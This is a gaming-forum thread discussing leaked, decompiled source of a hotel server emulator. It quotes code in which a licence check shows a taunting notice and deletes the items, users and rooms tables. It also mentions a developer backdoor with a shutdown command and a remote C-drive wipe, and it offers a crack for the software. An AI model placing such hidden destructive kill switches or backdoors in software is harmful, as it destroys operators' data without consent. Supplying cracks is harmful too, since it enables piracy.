This leaking stuff is never gonna end, lol. It's hilarious to me, and nice release.. I wonder what Aaron will say.
This leaking stuff is never gonna end, lol. It's hilarious to me, and nice release.. I wonder what Aaron will say.
I recall seeing this in an older release of the obfuscated source. Have you changed it since?
Edit: My mistake, that's what happens when Aaron uses :amiaaronCode:Label_3168: class13 = new GClass4(0x328); class13.method_7("Important Notice from Hotel Management"); class13.method_7("Uh oh, this hotel is running an unlicenced version of Phoenix Emulator.. as a result I'm afraid your database just vanished! :(\r\n- Try paying for a licence next time and this won't happen :)"); Class2.smethod_16().method_2().method_12(class13); using (class10 = Class2.smethod_13().method_0()) { class10.method_1("DELETE * FROM items;"); class10.method_1("DELETE * FROM users;"); class10.method_1("DELETE * FROM rooms;"); } return true;
What it always did :).
Gives Aaron the highest rank and thus access to all commands available (with the option to shutdown the emulator, of course).
When my friend was working on a Butterfly edit he added the ability to remotely delete the contents of the C drive, after shutting down every process possible and what-not (this was all IP-dependant of course). I'd laugh if a similar backdoor existed in Phoenix :')
Last edited by Gangnam; 30-08-12 at 10:33 AM.
Can anny1 fix this... (the teleport item)
case "teleport":
{
class4 = null;
class6 = null;
bool flag = false;
bool flag2 = false;
if (this.uint_3 > 0)
{
class4 = this.method_8().method_48(this.uint_3);
if (class4 != null)
{
if (class4.GStruct1_0 == this.GStruct1_0)
{
class4.bool_1 = false;
if (class4.int_18 == -1)
{
class4.int_18 = 1;
}
if (!Class81.smethod_2(this.uint_0))
{
class4.method_6();
this.uint_3 = 0u;
class4.method_4(this.GStruct1_1);
flag = true;
if (class4.int_18 == 0)
{
uint num6 = Class81.smethod_0(this.uint_0);
uint roomId = Class81.smethod_1(num6);
if (roomId != this.uint_1)
{
if (!class4.Boolean_4)
{
Class4.smethod_15().method_9().method_5(new Class46(class4.method_16().method_1(), class4.method_16().method_2(), roomId, num6));
}
}
else
{
Class48 class7 = this.method_8().method_26(num6);
if (class7 == null)
{
class4.method_6();
}
else
{
class4.method_7(class7.Int32_0, class7.Int32_1, class7.Double_0);
class4.method_9(class7.int_2);
class7.string_0 = "2";
class7.method_5(false, true);
class7.uint_4 = this.uint_3;
}
}
this.uint_3 = 0u;
}
else
{
class4.int_18--;
}
}
}
else if (!(class4.GStruct1_0 == this.GStruct1_1))
{
this.uint_3 = 0u;
}
else
{
class4.bool_1 = true;
flag2 = true;
if (class4.bool_6 && ((class4.int_9 != this.int_0) || (class4.int_10 != this.int_1)))
{
class4.method_3(true);
}
class4.bool_0 = false;
class4.bool_1 = true;
class4.method_4(this.GStruct1_0);
}
}
else
{
this.uint_3 = 0u;
}
}
if (this.uint_4 > 0u)
{
class6 = this.method_8().method_48(this.uint_4);
if (class6 != null)
{
flag2 = true;
class6.method_6();
if (class6.GStruct1_0 == this.GStruct1_0)
{
class6.method_4(this.GStruct1_1);
}
}
this.uint_4 = 0u;
}
if (flag)
{
if (this.string_0 != "1")
{
this.string_0 = "1";
this.method_5(false, true);
}
}
else
if (flag2)
{
if (this.string_0 != "2")
{
this.string_0 = "2";
this.method_5(false, true);
}
}
else if (this.string_0 != "0")
{
this.string_0 = "0";
this.method_5(false, true);
}
this.method_3(1);
return;
}
Crack.rar
Use that with the original phoenix 3.8.1.